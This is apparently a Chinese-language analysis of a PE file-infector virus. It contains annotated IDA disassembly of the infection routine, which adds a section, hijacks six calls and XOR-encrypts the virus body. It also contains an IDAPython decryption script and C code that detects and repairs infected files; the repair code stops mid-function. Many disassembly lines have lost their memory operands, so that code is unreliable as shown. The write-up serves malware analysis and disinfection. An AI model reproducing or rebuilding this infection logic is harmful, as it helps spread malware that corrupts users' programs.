.text:00402204 ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:00402209 test eax, eax
.text:0040220B jz @closehandle
.text:00402211 test , 20000000h
.text:0040221B jz short loc_40223E
.text:0040221D cmp , 0
.text:00402221 jnz short loc_40223E
.text:00402223 mov eax,
.text:00402229 mov , eax
.text:0040222C mov eax,
.text:00402232 mov , eax
.text:00402235 mov eax,
.text:0040223B mov , eax
.text:0040223E
.text:0040223E loc_40223E: ; CODE XREF: Infect_EXE_dll+F7j
.text:0040223E ; Infect_EXE_dll+FDj
.text:0040223E push dword ptr
.text:00402244 push 64h
.text:00402246 lea eax,
.text:0040224C push eax
.text:0040224D push
.text:00402250 call Read_fILE ; arg_0_file_handle= dword ptr8
.text:00402250 ; arg_4_outputbuffer= dword ptr0Ch
.text:00402250 ; arg_8_read_size = dword ptr10h
.text:00402250 ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:00402255 test eax, eax
.text:00402257 jz @closehandle
.text:0040225D lea edi,
.text:00402263 mov eax,
.text:00402265 mov esi, 64h
.text:0040226A
.text:0040226A @decrypt_first_0x50_section: ; CODE XREF: Infect_EXE_dll+152j
.text:0040226A test esi, esi
.text:0040226C jz short @check_infection
.text:0040226E xor , eax
.text:00402270 sub esi, 4
.text:00402273 add edi, 4
.text:00402276 jmp short @decrypt_first_0x50_section
.text:00402278 ; ---------------------------------------------------------------------------
.text:00402278
.text:00402278 @check_infection: ; CODE XREF: Infect_EXE_dll+148j
.text:00402278 cmp dword ptr , 77582588h
.text:00402282 jnz short loc_4022AB
.text:00402284 mov eax, dword ptr
.text:0040228A test eax, 10000h
.text:0040228F jnz @already_infected
.text:00402295 and eax, 0FFFFh
.text:0040229A cmp eax,
.text:0040229D jge @already_infected
.text:004022A3 mov , ebx
.text:004022A6 jmp @patched_call_not_enough
.text:004022AB ; ---------------------------------------------------------------------------
.text:004022AB
.text:004022AB loc_4022AB: ; CODE XREF: Infect_EXE_dll+15Ej
.text:004022AB mov eax,
.text:004022B1 add eax,
.text:004022B7 cmp eax, edx
.text:004022B9 jbe short loc_4022BD
.text:004022BB mov edx, eax
.text:004022BD
.text:004022BD loc_4022BD: ; CODE XREF: Infect_EXE_dll+195j
.text:004022BD add ebx, 28h
.text:004022C0 dec ecx
.text:004022C1 jmp @check_infect_or_not
.text:004022C6 ; ---------------------------------------------------------------------------
.text:004022C6
.text:004022C6 loc_4022C6: ; CODE XREF: Infect_EXE_dll+CDj
.text:004022C6 mov , edx
.text:004022C9 mov , ebx
.text:004022CC mov eax,
.text:004022D2 mov , eax
判断头部是否有足够的空间添加一个节表,并且有空间且空间必须全部为00
.text:004022D5 movzx ecx,
.text:004022DC mov eax, 28h
.text:004022E1 mul ecx
.text:004022E3 add eax, 0F8h
.text:004022E8 mov edx,
.text:004022EE sub edx, eax
.text:004022F0 cmp edx, 28h
.text:004022F3 jb @closehandle
.text:004022F9 push
.text:004022FC push 28h
.text:004022FE lea eax,
.text:00402304 push eax
.text:00402305 push
.text:00402308 call Read_fILE ; arg_0_file_handle= dword ptr8
.text:00402308 ; arg_4_outputbuffer= dword ptr0Ch
.text:00402308 ; arg_8_read_size = dword ptr10h
.text:00402308 ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:0040230D test eax, eax
.text:0040230F jz @closehandle
.text:00402315 lea eax,
.text:0040231B mov ecx, 28h
.text:00402320
.text:00402320 @check_: ; CODE XREF: Infect_EXE_dll+20Bj
.text:00402320 test ecx, ecx
.text:00402322 jz short loc_402331
.text:00402324 cmp byte ptr , 0
.text:00402327 jnz @closehandle
.text:0040232D inc eax
.text:0040232E dec ecx
.text:0040232F jmp short @check_
.text:00402331 ; ---------------------------------------------------------------------------
.text:00402331
.text:00402331 loc_402331: ; CODE XREF: Infect_EXE_dll+1FEj
.text:00402331 push 0 ; lpFileSizeHigh
.text:00402333 push ; hFile
.text:00402336 ; nop code
.text:0040233E ; ---------------------------------------------------------------------------
.text:0040233E call GetFileSize
.text:00402344 cmp eax, 0FFFFFFFFh
.text:00402347 jz @closehandle
.text:0040234D mov , eax
.text:00402350 xor edx, edx
.text:00402352 mov eax,
.text:00402355 mov ecx,
.text:0040235B div ecx
.text:0040235D test edx, edx
.text:0040235F jz short loc_402366
.text:00402361 sub ecx, edx
.text:00402363 add , ecx
.text:00402366
.text:00402366 loc_402366: ; CODE XREF: Infect_EXE_dll+23Bj
.text:00402366 xor edx, edx
.text:00402368 mov , edx
.text:0040236B mov eax,
.text:0040236E mov , eax
.text:00402371 mov ecx,
.text:00402377 div ecx
.text:00402379 test edx, edx
.text:0040237B jz short loc_402385
.text:0040237D sub ecx, edx
.text:0040237F mov , ecx
.text:00402382 add , ecx
.text:00402385
.text:00402385 loc_402385: ; CODE XREF: Infect_EXE_dll+257j
.text:00402385 jmp short loc_4023F3
.text:00402387 ; ---------------------------------------------------------------------------
.text:00402387
.text:00402387 @patched_call_not_enough: ; CODE XREF: Infect_EXE_dll+182j
.text:00402387 mov edi, 14h
.text:0040238C
.text:0040238C loc_40238C: ; CODE XREF: Infect_EXE_dll+28Fj
.text:0040238C cmp edi, 54h
.text:0040238F jge short loc_4023B5
.text:00402391 mov ecx, dword ptr ss:
.text:00402399 test ecx, ecx
.text:0040239B jz short loc_4023B5
.text:0040239D push ecx
.text:0040239E push 4
.text:004023A0 lea eax,
.text:004023A7 push eax
.text:004023A8 push
.text:004023AB call Write_File ; arg_0_hFile = dword ptr8
.text:004023AB ; arg_4_inputbuffer= dword ptr0Ch
.text:004023AB ; arg_8_wriesize= dword ptr10h
.text:004023AB ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:004023B0 add edi, 8
.text:004023B3 jmp short loc_40238C
.text:004023B5 ; ---------------------------------------------------------------------------
.text:004023B5
.text:004023B5 loc_4023B5: ; CODE XREF: Infect_EXE_dll+26Bj
.text:004023B5 ; Infect_EXE_dll+277j
.text:004023B5 mov eax, dword ptr
.text:004023BB mov , eax
.text:004023BE mov , eax
.text:004023C4 mov eax,
.text:004023CA mov , eax
.text:004023CD mov eax,
.text:004023D3 mov , eax
.text:004023D6 mov , eax
.text:004023D9 mov , 0
.text:004023E0 mov eax,
.text:004023E6 sub , eax
.text:004023EC dec
.text:004023F3
.text:004023F3 loc_4023F3: ; CODE XREF: Infect_EXE_dll:loc_402385j
.text:004023F3 xor eax, eax
.text:004023F5 mov , eax
.text:004023F8 mov eax,
.text:004023FB test eax, eax
.text:004023FD jz @closehandle
.text:00402403 cmp eax, 6400000h
.text:00402408 ja @closehandle
.text:0040240E push eax ; dwBytes
.text:0040240F push 0 ; uFlags
.text:00402411 ; nop code
.text:00402419 ; ---------------------------------------------------------------------------
.text:00402419 call GlobalAlloc
.text:0040241F test eax, eax
.text:00402421 jz @closehandle
.text:00402427 mov , eax
.text:0040242A push
.text:0040242D push
.text:00402430 push
.text:00402433 push
.text:00402436 call Read_fILE ; arg_0_file_handle= dword ptr8
.text:00402436 ; arg_4_outputbuffer= dword ptr0Ch
.text:00402436 ; arg_8_read_size = dword ptr10h
.text:00402436 ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:0040243B test eax, eax
.text:0040243D jnz short loc_402455
.text:0040243F push ; hMem
.text:00402442 ; nop code
.text:0040244A ; ---------------------------------------------------------------------------
.text:0040244A call GlobalFree
.text:00402450 jmp @closehandle
.text:00402455 ; ---------------------------------------------------------------------------
.text:00402455
.text:00402455 loc_402455: ; CODE XREF: Infect_EXE_dll+319j
.text:00402455 mov ecx,
.text:00402458 mov esi,
.text:0040245B mov , 6
.text:00402462 xor edx, edx
.text:00402464 mov eax, ecx
.text:00402466 div
.text:00402469 mov , eax
从第一个节的开始搜索call指令,然后判断call指令的目的地址的指令是否是
push reg 或者mov edi,edi 或者sub ebp,xxx
如果满足条件的,则记录下call的相关信息,在下一个块内搜索,否则继续从下一个byte搜索
程序一共搜索了6个call 对有些程序可能不一定能够搜到6个call。
相关结构:
struct patch_call_info
{
+0 dword found_call_dest_address_rva call的目的地址的rva
+4 dword patched_call_fileoffset_jia_1 要patch的call的地址+1的文件偏移 43c
+8 dword patched_call_dword 要patch call的e8后面的dword
+c dword found_call_offset 要patchcall的后面的偏移0xa33f8
}
.text:0040246C
.text:0040246C @found_patch_call: ; CODE XREF: Infect_EXE_dll+3FBj
.text:0040246C ; Infect_EXE_dll+402j
.text:0040246C cmp ecx, 0Ah
.text:0040246F jbe loc_40252B
.text:00402475 cmp byte ptr , 0E8h
.text:00402478 jnz @not
.text:0040247E mov eax, esi
.text:00402480 sub eax,
.text:00402483 add eax, 5
.text:00402486 mov ebx, eax
.text:00402488 add eax,
.text:0040248B mov edx,
.text:0040248E sub edx, 4
.text:00402491 cmp eax, edx
.text:00402493 jnb @not
.text:00402499 add eax,
.text:0040249C mov edx,
.text:0040249E and edx, 0F8h
.text:004024A4 cmp edx, 50h
.text:004024A7 jz short @found
.text:004024A9 cmp word ptr , 0EC83h
.text:004024AE jz short @found
.text:004024B0 cmp word ptr , 0FF8Bh
.text:004024B4 jnz short @not
.text:004024B6
.text:004024B6 @found: ; CODE XREF: Infect_EXE_dll+383j
.text:004024B6 ; Infect_EXE_dll+38Aj
.text:004024B6 mov edi,
.text:004024B9 shl edi, 4
.text:004024BC sub eax,
.text:004024BF add eax,
.text:004024C2 mov ss:, eax
.text:004024CA mov eax, ebx
.text:004024CC sub eax, 4
.text:004024CF add eax,
.text:004024D2 mov ss:, eax
.text:004024DA mov eax,
.text:004024DD mov edx, 0Ah
.text:004024E2 mul edx
.text:004024E4 add eax,
.text:004024E7 add eax, 5EE3h
.text:004024EC add ebx,
.text:004024EF sub eax, ebx
.text:004024F1 mov ss:, eax
.text:004024F9 mov eax,
.text:004024FC mov ss:, eax
.text:00402504 inc
.text:00402507 cmp , 6
.text:0040250B jz short loc_40252B
.text:0040250D mov eax,
.text:00402510 mov edx,
.text:00402513 mul edx
.text:00402515 mov ecx,
.text:00402518 sub ecx, eax
.text:0040251A mov esi,
.text:0040251D add esi, eax
.text:0040251F jmp @found_patch_call
.text:00402524 ; ---------------------------------------------------------------------------
.text:00402524
.text:00402524 @not: ; CODE XREF: Infect_EXE_dll+354j
.text:00402524 ; Infect_EXE_dll+36Fj ...
.text:00402524 dec ecx
.text:00402525 inc esi
.text:00402526 jmp @found_patch_call
.text:0040252B ; ---------------------------------------------------------------------------
.text:0040252B
.text:0040252B loc_40252B: ; CODE XREF: Infect_EXE_dll+34Bj
.text:0040252B ; Infect_EXE_dll+3E7j
.text:0040252B push ; hMem
.text:0040252E ; nop code
.text:00402536 ; ---------------------------------------------------------------------------
.text:00402536 call GlobalFree
.text:0040253C cmp , 0
.text:00402540 jz @closehandle
.text:00402546 xor edx, edx
.text:00402548 mov eax, 960Ah
.text:0040254D mov , eax
.text:00402550 mov ecx,
.text:00402556 div ecx
.text:00402558 test edx, edx
.text:0040255A jz short loc_402561
.text:0040255C sub ecx, edx
.text:0040255E add , ecx
.text:00402561
.text:00402561 loc_402561: ; CODE XREF: Infect_EXE_dll+436j
.text:00402561 xor edx, edx
更新pe头
.text:00402563 mov , 960Ah
.text:0040256A mov eax,
.text:0040256D mov ecx,
.text:00402573 div ecx
.text:00402575 test edx, edx
.text:00402577 jz short loc_40257E
.text:00402579 sub ecx, edx
.text:0040257B add , ecx
.text:0040257E
.text:0040257E loc_40257E: ; CODE XREF: Infect_EXE_dll+453j
.text:0040257E inc
.text:00402585 mov , 0
.text:0040258F mov eax,
.text:00402592 add , eax
.text:00402598 push
.text:0040259E push 0F8h
.text:004025A3 lea eax,
.text:004025A9 push eax
.text:004025AA push
.text:004025AD call Write_File ; arg_0_hFile = dword ptr8
.text:004025AD ; arg_4_inputbuffer= dword ptr0Ch
.text:004025AD ; arg_8_wriesize= dword ptr10h
.text:004025AD ; arg_c_offset_to_write_from_file_begin= dword ptr14h
跟新添加节的节表
.text:004025B2 mov eax,
.text:004025B5 mov , eax
.text:004025BB mov eax,
.text:004025BE mov , eax
.text:004025C4 mov eax,
.text:004025C7 mov , eax
.text:004025CD mov eax,
.text:004025D0 mov , eax
.text:004025D6 mov , 0E00000E0h
.text:004025E0 mov dword ptr , 7273722Eh
.text:004025EA mov dword ptr , 63h
.text:004025F4 push
.text:004025F7 push 28h
.text:004025F9 lea eax,
.text:004025FF push eax
.text:00402600 push
.text:00402603 call Write_File ; arg_0_hFile = dword ptr8
.text:00402603 ; arg_4_inputbuffer= dword ptr0Ch
.text:00402603 ; arg_8_wriesize= dword ptr10h
.text:00402603 ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:00402608 mov ecx,
.text:0040260B xor edx, edx
修改第一个节的call的目的地址跳向添加节
.text:0040260D
.text:0040260D @patch_call_to_jmp_added_section: ; CODE XREF: Infect_EXE_dll+50Ej
.text:0040260D test ecx, ecx
.text:0040260F jz short loc_402634
.text:00402611 mov esi, edx
.text:00402613 shl esi, 4
.text:00402616 push ss:
.text:0040261E push 4
.text:00402620 lea eax,
.text:00402627 push eax
.text:00402628 push
.text:0040262B call Write_File ; arg_0_hFile = dword ptr8
.text:0040262B ; arg_4_inputbuffer= dword ptr0Ch
.text:0040262B ; arg_8_wriesize= dword ptr10h
.text:0040262B ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:00402630 dec ecx
.text:00402631 inc edx
.text:00402632 jmp short @patch_call_to_jmp_added_section
.text:00402634 ; ---------------------------------------------------------------------------
.text:00402634
.text:00402634 loc_402634: ; CODE XREF: Infect_EXE_dll+4EBj
.text:00402634 mov eax,
.text:00402637 add eax,
.text:0040263A mov , eax
.text:0040263D push eax ; dwBytes
.text:0040263E push 40h ; uFlags
.text:00402640 ; nop code
.text:00402648 ; ---------------------------------------------------------------------------
拷贝病毒体 并记录一些重要信息到添加节的开始处
.text:00402648 call GlobalAlloc
.text:0040264E test eax, eax
.text:00402650 jz @closehandle
.text:00402656 mov , eax
.text:00402659 mov ecx, 960Ah
.text:0040265E mov edi,
.text:00402661 add edi,
.text:00402664 ; nop code
.text:0040266B mov esi, offset dword_401000
.text:00402670 rep movsb ; 00401000 +filesize_mod_filealigment-> alloc_address2 +filesize_mod_filealigment 0x960a bytes
.text:00402672 mov ebx,
.text:00402675 add ebx,
.text:00402678 mov edi, 77582588h
.text:0040267D mov , edi
.text:00402680 mov edi,
.text:00402683 mov , edi
.text:00402686 mov eax,
.text:00402689 mov , eax
.text:0040268C mov edi, ebx
.text:0040268E add edi, 5EDFh
.text:00402694 mov dword ptr , 0
.text:0040269A xor edx, edx
修改添加节的代码使其跳向原始的代码
.text:0040269C
.text:0040269C @patch_call_in_addedsection_jmp_original_place:
.text:0040269C ; CODE XREF: Infect_EXE_dll+5CCj
.text:0040269C cmp edx,
.text:0040269F jz short loc_4026F2
.text:004026A1 mov esi, edx
.text:004026A3 shl esi, 4 ; esi = counter << 4
.text:004026A6 mov ecx, ss:
.text:004026AE mov eax, 0Ah
.text:004026B3 mul dl
.text:004026B5 add eax, 5EE3h
.text:004026BA mov edi, eax
.text:004026BC add edi, 6 ; edi = counter * 0x0a + 5ee3 + 6
.text:004026BF add eax, 0Ah ; eax =(counter +1)* 0xa + 5ee3
.text:004026C2 add eax,
.text:004026C5 sub ecx, eax
.text:004026C7 add edi, ebx
.text:004026C9 mov , ecx
.text:004026CB mov edi, edx
.text:004026CD shl edi, 3
.text:004026D0 add edi, 14h
.text:004026D3 add edi, ebx
.text:004026D5 mov eax, ss:
.text:004026DD mov , eax
.text:004026DF mov eax, ss:
.text:004026E7 mov , eax
.text:004026EA xor eax, eax
.text:004026EC mov , eax
.text:004026EF inc edx
.text:004026F0 jmp short @patch_call_in_addedsection_jmp_original_place
.text:004026F2 ; nop code
.text:004026FA ; ---------------------------------------------------------------------------
对病毒体进行加密
.text:004026FA call GetTickCount
.text:00402700 mov ebx,
.text:00402703 add ebx,
.text:00402706 mov dword ptr , 0
.text:0040270C mov ecx, 6106h
.text:00402711
.text:00402711 @encrypt: ; CODE XREF: Infect_EXE_dll+60Aj
.text:00402711 cmp ecx, 4
.text:00402714 jb short loc_402730
.text:00402716 cmp ecx, 22Bh
.text:0040271C jnb short loc_402726
.text:0040271E cmp ecx, 192h
.text:00402724 ja short loc_402728
.text:00402726
.text:00402726 loc_402726: ; CODE XREF: Infect_EXE_dll+5F8j
.text:00402726 xor , eax
.text:00402728
.text:00402728 loc_402728: ; CODE XREF: Infect_EXE_dll+600j
.text:00402728 add ebx, 4
.text:0040272B sub ecx, 4
.text:0040272E jmp short @encrypt
.text:00402730 ; ---------------------------------------------------------------------------
写入最后一个节的数据
.text:00402730
.text:00402730 loc_402730: ; CODE XREF: Infect_EXE_dll+5F0j
.text:00402730 push
.text:00402733 push
.text:00402736 push
.text:00402739 push
.text:0040273C call Write_File ; arg_0_hFile = dword ptr8
.text:0040273C ; arg_4_inputbuffer= dword ptr0Ch
.text:0040273C ; arg_8_wriesize= dword ptr10h
.text:0040273C ; arg_c_offset_to_write_from_file_begin= dword ptr14h
.text:00402741 push
.text:00402744 ; nop code
.text:0040274C ; ---------------------------------------------------------------------------
.text:0040274C call GlobalFree
.text:00402752
.text:00402752 @already_infected: ; CODE XREF: Infect_EXE_dll+16Bj
.text:00402752 ; Infect_EXE_dll+179j
.text:00402752 mov , 1
.text:00402759
.text:00402759 @closehandle: ; CODE XREF: Infect_EXE_dll+61j
.text:00402759 ; Infect_EXE_dll+70j ...
.text:00402759 push
.text:0040275C ; nop code
.text:00402764 ; ---------------------------------------------------------------------------
.text:00402764 call CloseHandle
.text:0040276A
.text:0040276A @fail: ; CODE XREF: Infect_EXE_dll+43j
.text:0040276A mov eax,
.text:0040276D pop ebx
.text:0040276E pop edx
.text:0040276F pop ecx
.text:00402770 pop edi
.text:00402771 pop esi
.text:00402772 leave
.text:00402773 retn 8
.text:00402773 Infect_EXE_dllendp
一个感染例子
比如:
.text:6B2410E1 89 5C 24 04 mov , ebx
.text:6B2410E5 89 34 24 mov , esi
.text:6B2410E8 E8 F6 AD 09 00 call Patch_call 被patch的call
.text:6B2410ED 83 EC 0C sub esp, 0Ch
.text:6B2410F0 85 DB test ebx, ebx
目的地址:
.rsrc:6B2DBEE3 Patch_call proc near ; CODE XREF: DllEntryPoint+28p
.rsrc:6B2DBEE3 E8 37 00 00 00 call loc_6B2DBF1F 执行恶意代码
.rsrc:6B2DBEE8 E9 83 03 FD FF jmp sub_6B2AC270 跳回原来的call的目的地址
.rsrc:6B2DBEE8 Patch_call endp
.rsrc:6B2DBEE8
调试程序的时候发现它会抽取call的信息到,添加节的开始处,不过是加密的,解密很简单,加密代码如下:
def decrypt_infected(startva = 0x6b2d6000):
eax = Dword(startva)
if eax == 0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x192) and (counter<0x22b):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
def decrypt_main_exe(startva = 0x401000):
eax = Dword(startva)
#alreay decrypted?
if eax ==0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x13c) and (counter<0x182):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
def make_dwords(startva):
MakeUnknown(startva,0x14+0x6*0xa,0)
MakeDword(startva)
MakeDword(startva + 4)
MakeDword(startva + 8)
MakeDword(startva + 0xc)
MakeDword(startva + 0x10)
i = 0
curva = startva + 0x14
while Dword(curva) != 0:
#for i in range(6):
str = "patch_call_info_%02x" % i
MakeDword(curva)
MakeDword(curva + 4)
MakeName(curva ,str)
curva = curva + 8
i = i + 1
if i > 6:
break
MakeDword(curva)
MakeName(curva,"end")
if __name__ == "__main__":
print "start to decode"
segs = Segments()
last = 0
for seg in segs:
#print "0x%x" % seg
last = seg
lastSegStart = SegStart(last)
lastSegEnd = SegEnd(last)
#print "lastSegStart %08x,lastSegEnd %08x" % (lastSegStart,lastSegEnd)
decrypt_infected(lastSegStart)
make_dwords(lastSegStart)
print "finishe"
以一个被感染的样本为例, 脚本运行之后病毒添加节开始:
.rsrc:1E1DD000 00 00 00 00 dd 0
.rsrc:1E1DD004 88 25 58 77 dd 77582588h 解密的key
.rsrc:1E1DD008 06 00 00 00 dd 6 patch_call_num的最大值
.rsrc:1E1DD00C A0 59 00 00 dd 59A0h oep rva
.rsrc:1E1DD010 00 00 00 00 dd 0
.rsrc:1E1DD014 6B 11 00 00 patch_call_info_00 dd 116Bh
.rsrc:1E1DD018 31 FF FF FF dd 0FFFFFF31h
.rsrc:1E1DD01C E3 1D 00 00 patch_call_info_01 dd 1DE3h
.rsrc:1E1DD020 79 3A 00 00 dd 3A79h
.rsrc:1E1DD024 AD 2B 00 00 patch_call_info_02 dd 2BADh
.rsrc:1E1DD028 BF F8 FF FF dd 0FFFFF8BFh
.rsrc:1E1DD02C 88 38 00 00 patch_call_info_03 dd 3888h
.rsrc:1E1DD030 D4 1F 00 00 dd 1FD4h
.rsrc:1E1DD034 94 49 00 00 patch_call_info_04 dd 4994h
.rsrc:1E1DD038 88 D3 FF FF dd 0FFFFD388h
.rsrc:1E1DD03C 00 00 00 00 end dd 0
struct patch_call_info
{
+0 dword 修改call的文件偏移+1
+4 dword 原来的call 即e8后面的offset
}
这样我们就可以写程序修复了,很久都没有写程序了,大部分时间都花在调试程序上了,这里只列出一些关键部分函数,其他看附件:
判断程序是否被感染:
bool IsInfecterByPriter(char* szFileName)
{
bool bReturn = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0;
DWORD dwOffset = 0;
DWORD dwKey = 0;
DWORD dwTemp = 0;
DWORD dwImageSize = 0;
DWORD dwHeadSize = 0;
LPBYTE MapOfFile = 0;
DWORD dwFileSize = 0;
DWORD i = 0;
IMAGE_NT_HEADERS32* PE;
IMAGE_SECTION_HEADER* SH;
PDWORD LastSection;
hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto Exit0;
//Is ValidPE
SetFilePointer(hFile, 0, NULL,FILE_BEGIN);
ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
if ('ZM' != dwTemp)
goto Exit0;
SetFilePointer(hFile, 0x3C, NULL,FILE_BEGIN);
ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
dwTemp = 0;
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
if ('EP' != dwTemp)
goto Exit0;
//check the file size
dwFileSize = GetFileSize(hFile,NULL);
if (dwFileSize == 0xFFFFFFFF)
goto Exit0;
if (0x960a >= dwFileSize)
goto Exit0;
//Map
SetFilePointer(hFile, 0x3C, NULL,FILE_BEGIN);
ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
SetFilePointer(hFile, dwOffset + 0x50, NULL,FILE_BEGIN);
ReadFile(hFile, &dwImageSize, 4, &dwRead, NULL);
SetFilePointer(hFile, dwOffset + 0x54, NULL,FILE_BEGIN);
ReadFile(hFile, &dwHeadSize, 4, &dwRead, NULL);
MapOfFile = (LPBYTE)VirtualAlloc(0, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (MapOfFile == 0)
goto Exit0;
SetFilePointer(hFile, 0, NULL,FILE_BEGIN);
ReadFile(hFile, MapOfFile, dwHeadSize, &dwRead, NULL);
PE = (IMAGE_NT_HEADERS32 *)(MapOfFile + dwOffset);
SH = IMAGE_FIRST_SECTION32(PE);
//判断最后一个节的属性
if ((SH + PE->FileHeader.NumberOfSections -1)->Characteristics != 0xe00000e0)
goto FreeExit0;
dwTemp = (SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData;
if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData == 0x9800)
goto Found;
if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData != 0xa000)
goto FreeExit0;
Found:
for (i = 0; i < PE->FileHeader.NumberOfSections; i ++)
{
SetFilePointer(hFile, (SH + i)->PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (SH + i)->VirtualAddress + MapOfFile, (SH + i)->SizeOfRawData, &dwRead, NULL);
}
LastSection = (PDWORD)(MapOfFile + (SH + PE->FileHeader.NumberOfSections -1)->VirtualAddress);
dwKey = *LastSection;
//dwTemp = *(PDWORD)(LastSection + 1);
*(LastSection + 1) = *(LastSection + 1) ^ dwKey;
//解密后,判断最后一个节开始的数据
if (*(LastSection + 1) != 0x77582588)
goto FreeExit0;
*(LastSection + 2) = *(LastSection + 2) ^ dwKey;
dwTemp = *(LastSection + 2);
if (*(LastSection + 2) != 6)
goto FreeExit0;
//Save
pSaveInfo = (PINFO)malloc(sizeof(INFO));
memset(pSaveInfo, 0, sizeof(INFO));
strcpy(pSaveInfo->szFileName, szFileName);
pSaveInfo->MapOfFile = MapOfFile;
pSaveInfo->PE = PE;
pSaveInfo->SH = SH;
pSaveInfo->dwKey = dwKey;
pSaveInfo->dwimagesize = dwImageSize;
bReturn = TRUE;
goto Exit0;
FreeExit0:
VirtualFree(MapOfFile,0,MEM_RELEASE);
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
return bReturn;
}
对感染的文件进行修复:
bool IsRepairSuccess()
{
bool bRet = FALSE;
BOOL bWrite;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0;
DWORD dwOffset = 0;
DWORD dwTemp = 0,dwTemp1,dwTemp2;
DWORD counter = 0,i;
IMAGE_SECTION_HEADER* SH;
PDWORD patch_call_info,patch_call_info_copy,dwPatch_tmp;
DWORD file_offset,file_offset_end;
PBYTE patched_call_va,check_call_va,dwrepair;
DWORD dwSizeOfHead = 0;
//IMAGE_SECTION_HEADER *SH;
SH = pSaveInfo->SH;
patch_call_info = (PDWORD)((pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress) + 0x14);
patch_call_info_copy = patch_call_info;
//获取patch了多少个call
do
{
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
dwTemp = *(patch_call_info);
if (dwTemp != 0)
{
++counter;
if (counter > 6)
goto Exit0;
++patch_call_info;
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
++patch_call_info;
}
} while ( dwTemp != 0);
if (counter <= 0)
{
goto Exit0;
}
//如果出去call的数量为1 则不需要去重复
if (counter == 1)
{
goto repair;
}
patch_call_info = patch_call_info_copy;
dwTemp = counter;
dwTemp ++;
//有的有重复的 去掉重复的
while (--dwTemp!=1)
{
dwPatch_tmp = patch_call_info_copy;
dwTemp1 = *(patch_call_info_copy);
patch_call_info_copy = patch_call_info_copy + 2;
dwTemp2 = *(patch_call_info_copy);
if (dwTemp2 == dwTemp1)
{
i = dwTemp;
i --;
i = i * 8;
i = i + 4;
memcpy(dwPatch_tmp,patch_call_info_copy,i);
counter --;
if (counter == 0)
{
goto Exit0;
}
patch_call_info_copy = patch_call_info_copy - 2;
}
}
file_offset = pSaveInfo->SH->PointerToRawData;
file_offset_end = pSaveInfo->SH->SizeOfRawData + pSaveInfo->SH->PointerToRawData;
check_call_va = (pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress);
check_call_va = check_call_va + 0x5ee3;
//开始修复
do
{
dwTemp = *patch_call_info;
if (dwTemp < file_offset)
{
goto Exit0;
}
if (dwTemp > file_offset_end)
{
goto Exit0;
}
dwrepair = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
patched_call_va = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
--patched_call_va;
if (*patched_call_va != 0xe8)
{
goto Exit0;
}
++patched_call_va;
patched_call_va = patched_call_va + *(PDWORD)patched_call_va;
patched_call_va = patched_call_va + 4;
dwTemp2 = patched_call_va - check_call_va;
if ((dwTemp2 % 0x0a) != 0)
{
goto Exit0;
}
patch_call_info = patch_call_info + 1;
memcpy(dwrepair ,patch_call_info,4);
patch_call_info = patch_call_info + 1;
} while (--counter);
repair:
// remove last section
-- pSaveInfo->PE->FileHeader.NumberOfSections;
pSaveInfo->PE->OptionalHeader.SizeOfImage = pSaveInfo->PE->OptionalHeader.SizeOfImage
- (pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections)->Misc.VirtualSize;
memset(pSaveInfo->SH +pSaveInfo->PE->FileHeader.NumberOfSections,0,0x28);
dwSizeOfHead = pSaveInfo->PE->OptionalHeader.SizeOfHeaders;
hFile = CreateFile(pSaveInfo->szFileName, GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if (INVALID_HANDLE_VALUE == hFile)
goto Exit0;
bWrite = WriteFile(hFile, pSaveInfo->MapOfFile, dwSizeOfHead, &dwTemp, NULL);
for (i = 0; i < pSaveInfo->PE->FileHeader.NumberOfSections ; i ++)
bWrite = WriteFile(hFile, (SH + i)->VirtualAddress + pSaveInfo->MapOfFile, (SH + i)->SizeOfRawData, &dwTemp, NULL);
dwTemp = (SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData;
dwTemp1 = SetFilePointer(hFile,(SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData,NULL,FILE_BEGIN);
dwTemp2 = SetEndOfFile(hFile);
bRet = TRUE;
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
